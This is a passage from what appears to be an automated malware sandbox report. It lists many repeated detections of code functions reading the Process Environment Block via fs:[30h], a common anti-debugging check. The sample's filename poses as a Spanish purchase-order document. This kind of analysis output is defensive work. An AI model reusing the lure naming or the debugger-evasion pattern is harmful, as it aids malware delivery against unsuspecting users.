                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov eax, dword ptr fs:[00000030h]6_2_016E035C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E035C mov eax, dword ptr fs:[00000030h]6_2_016E035C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A30B mov eax, dword ptr fs:[00000030h]6_2_0169A30B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A30B mov eax, dword ptr fs:[00000030h]6_2_0169A30B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A30B mov eax, dword ptr fs:[00000030h]6_2_0169A30B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165C310 mov ecx, dword ptr fs:[00000030h]6_2_0165C310
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01680310 mov ecx, dword ptr fs:[00000030h]6_2_01680310
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016703E9 mov eax, dword ptr fs:[00000030h]6_2_016703E9
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016963FF mov eax, dword ptr fs:[00000030h]6_2_016963FF
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E3F0 mov eax, dword ptr fs:[00000030h]6_2_0167E3F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E3F0 mov eax, dword ptr fs:[00000030h]6_2_0167E3F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0167E3F0 mov eax, dword ptr fs:[00000030h]6_2_0167E3F0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017043D4 mov eax, dword ptr fs:[00000030h]6_2_017043D4
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_017043D4 mov eax, dword ptr fs:[00000030h]6_2_017043D4
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016683C0 mov eax, dword ptr fs:[00000030h]6_2_016683C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016683C0 mov eax, dword ptr fs:[00000030h]6_2_016683C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016683C0 mov eax, dword ptr fs:[00000030h]6_2_016683C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016683C0 mov eax, dword ptr fs:[00000030h]6_2_016683C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A3C0 mov eax, dword ptr fs:[00000030h]6_2_0166A3C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E3DB mov eax, dword ptr fs:[00000030h]6_2_0170E3DB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E3DB mov eax, dword ptr fs:[00000030h]6_2_0170E3DB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E3DB mov ecx, dword ptr fs:[00000030h]6_2_0170E3DB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0170E3DB mov eax, dword ptr fs:[00000030h]6_2_0170E3DB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E63C0 mov eax, dword ptr fs:[00000030h]6_2_016E63C0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171C3CD mov eax, dword ptr fs:[00000030h]6_2_0171C3CD
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168438F mov eax, dword ptr fs:[00000030h]6_2_0168438F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168438F mov eax, dword ptr fs:[00000030h]6_2_0168438F
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E388 mov eax, dword ptr fs:[00000030h]6_2_0165E388
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E388 mov eax, dword ptr fs:[00000030h]6_2_0165E388
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E388 mov eax, dword ptr fs:[00000030h]6_2_0165E388
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01658397 mov eax, dword ptr fs:[00000030h]6_2_01658397
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01658397 mov eax, dword ptr fs:[00000030h]6_2_01658397
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01658397 mov eax, dword ptr fs:[00000030h]6_2_01658397
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01710274 mov eax, dword ptr fs:[00000030h]6_2_01710274
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664260 mov eax, dword ptr fs:[00000030h]6_2_01664260
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664260 mov eax, dword ptr fs:[00000030h]6_2_01664260
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01664260 mov eax, dword ptr fs:[00000030h]6_2_01664260
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165826B mov eax, dword ptr fs:[00000030h]6_2_0165826B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171A250 mov eax, dword ptr fs:[00000030h]6_2_0171A250
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171A250 mov eax, dword ptr fs:[00000030h]6_2_0171A250
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E8243 mov eax, dword ptr fs:[00000030h]6_2_016E8243
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E8243 mov ecx, dword ptr fs:[00000030h]6_2_016E8243
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165A250 mov eax, dword ptr fs:[00000030h]6_2_0165A250
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01666259 mov eax, dword ptr fs:[00000030h]6_2_01666259
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165823B mov eax, dword ptr fs:[00000030h]6_2_0165823B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016702E1 mov eax, dword ptr fs:[00000030h]6_2_016702E1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016702E1 mov eax, dword ptr fs:[00000030h]6_2_016702E1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016702E1 mov eax, dword ptr fs:[00000030h]6_2_016702E1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A2C3 mov eax, dword ptr fs:[00000030h]6_2_0166A2C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A2C3 mov eax, dword ptr fs:[00000030h]6_2_0166A2C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A2C3 mov eax, dword ptr fs:[00000030h]6_2_0166A2C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A2C3 mov eax, dword ptr fs:[00000030h]6_2_0166A2C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166A2C3 mov eax, dword ptr fs:[00000030h]6_2_0166A2C3
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016702A0 mov eax, dword ptr fs:[00000030h]6_2_016702A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016702A0 mov eax, dword ptr fs:[00000030h]6_2_016702A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov eax, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov ecx, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov eax, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov eax, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov eax, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F62A0 mov eax, dword ptr fs:[00000030h]6_2_016F62A0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E0283 mov eax, dword ptr fs:[00000030h]6_2_016E0283
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E0283 mov eax, dword ptr fs:[00000030h]6_2_016E0283
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E0283 mov eax, dword ptr fs:[00000030h]6_2_016E0283
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E284 mov eax, dword ptr fs:[00000030h]6_2_0169E284
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E284 mov eax, dword ptr fs:[00000030h]6_2_0169E284
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169656A mov eax, dword ptr fs:[00000030h]6_2_0169656A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169656A mov eax, dword ptr fs:[00000030h]6_2_0169656A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169656A mov eax, dword ptr fs:[00000030h]6_2_0169656A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668550 mov eax, dword ptr fs:[00000030h]6_2_01668550
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668550 mov eax, dword ptr fs:[00000030h]6_2_01668550
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670535 mov eax, dword ptr fs:[00000030h]6_2_01670535
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E53E mov eax, dword ptr fs:[00000030h]6_2_0168E53E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E53E mov eax, dword ptr fs:[00000030h]6_2_0168E53E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E53E mov eax, dword ptr fs:[00000030h]6_2_0168E53E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E53E mov eax, dword ptr fs:[00000030h]6_2_0168E53E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E53E mov eax, dword ptr fs:[00000030h]6_2_0168E53E
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F6500 mov eax, dword ptr fs:[00000030h]6_2_016F6500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734500 mov eax, dword ptr fs:[00000030h]6_2_01734500
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C5ED mov eax, dword ptr fs:[00000030h]6_2_0169C5ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169C5ED mov eax, dword ptr fs:[00000030h]6_2_0169C5ED
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016625E0 mov eax, dword ptr fs:[00000030h]6_2_016625E0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168E5E7 mov eax, dword ptr fs:[00000030h]6_2_0168E5E7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E5CF mov eax, dword ptr fs:[00000030h]6_2_0169E5CF
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E5CF mov eax, dword ptr fs:[00000030h]6_2_0169E5CF
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016665D0 mov eax, dword ptr fs:[00000030h]6_2_016665D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A5D0 mov eax, dword ptr fs:[00000030h]6_2_0169A5D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A5D0 mov eax, dword ptr fs:[00000030h]6_2_0169A5D0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E05A7 mov eax, dword ptr fs:[00000030h]6_2_016E05A7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E05A7 mov eax, dword ptr fs:[00000030h]6_2_016E05A7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E05A7 mov eax, dword ptr fs:[00000030h]6_2_016E05A7
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016845B1 mov eax, dword ptr fs:[00000030h]6_2_016845B1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016845B1 mov eax, dword ptr fs:[00000030h]6_2_016845B1
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01694588 mov eax, dword ptr fs:[00000030h]6_2_01694588
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01662582 mov eax, dword ptr fs:[00000030h]6_2_01662582
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01662582 mov ecx, dword ptr fs:[00000030h]6_2_01662582
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E59C mov eax, dword ptr fs:[00000030h]6_2_0169E59C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EC460 mov ecx, dword ptr fs:[00000030h]6_2_016EC460
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168A470 mov eax, dword ptr fs:[00000030h]6_2_0168A470
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168A470 mov eax, dword ptr fs:[00000030h]6_2_0168A470
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168A470 mov eax, dword ptr fs:[00000030h]6_2_0168A470
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171A456 mov eax, dword ptr fs:[00000030h]6_2_0171A456
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169E443 mov eax, dword ptr fs:[00000030h]6_2_0169E443
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0168245A mov eax, dword ptr fs:[00000030h]6_2_0168245A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165645D mov eax, dword ptr fs:[00000030h]6_2_0165645D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165C427 mov eax, dword ptr fs:[00000030h]6_2_0165C427
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E420 mov eax, dword ptr fs:[00000030h]6_2_0165E420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E420 mov eax, dword ptr fs:[00000030h]6_2_0165E420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0165E420 mov eax, dword ptr fs:[00000030h]6_2_0165E420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016E6420 mov eax, dword ptr fs:[00000030h]6_2_016E6420
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169A430 mov eax, dword ptr fs:[00000030h]6_2_0169A430
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01698402 mov eax, dword ptr fs:[00000030h]6_2_01698402
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01698402 mov eax, dword ptr fs:[00000030h]6_2_01698402
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01698402 mov eax, dword ptr fs:[00000030h]6_2_01698402
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016604E5 mov ecx, dword ptr fs:[00000030h]6_2_016604E5
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016664AB mov eax, dword ptr fs:[00000030h]6_2_016664AB
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016944B0 mov ecx, dword ptr fs:[00000030h]6_2_016944B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016EA4B0 mov eax, dword ptr fs:[00000030h]6_2_016EA4B0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0171A49A mov eax, dword ptr fs:[00000030h]6_2_0171A49A
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668770 mov eax, dword ptr fs:[00000030h]6_2_01668770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01670770 mov eax, dword ptr fs:[00000030h]6_2_01670770
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169674D mov esi, dword ptr fs:[00000030h]6_2_0169674D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169674D mov eax, dword ptr fs:[00000030h]6_2_0169674D
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0169674D mov eax, dword ptr fs:[00000030h]6_2_0169674D
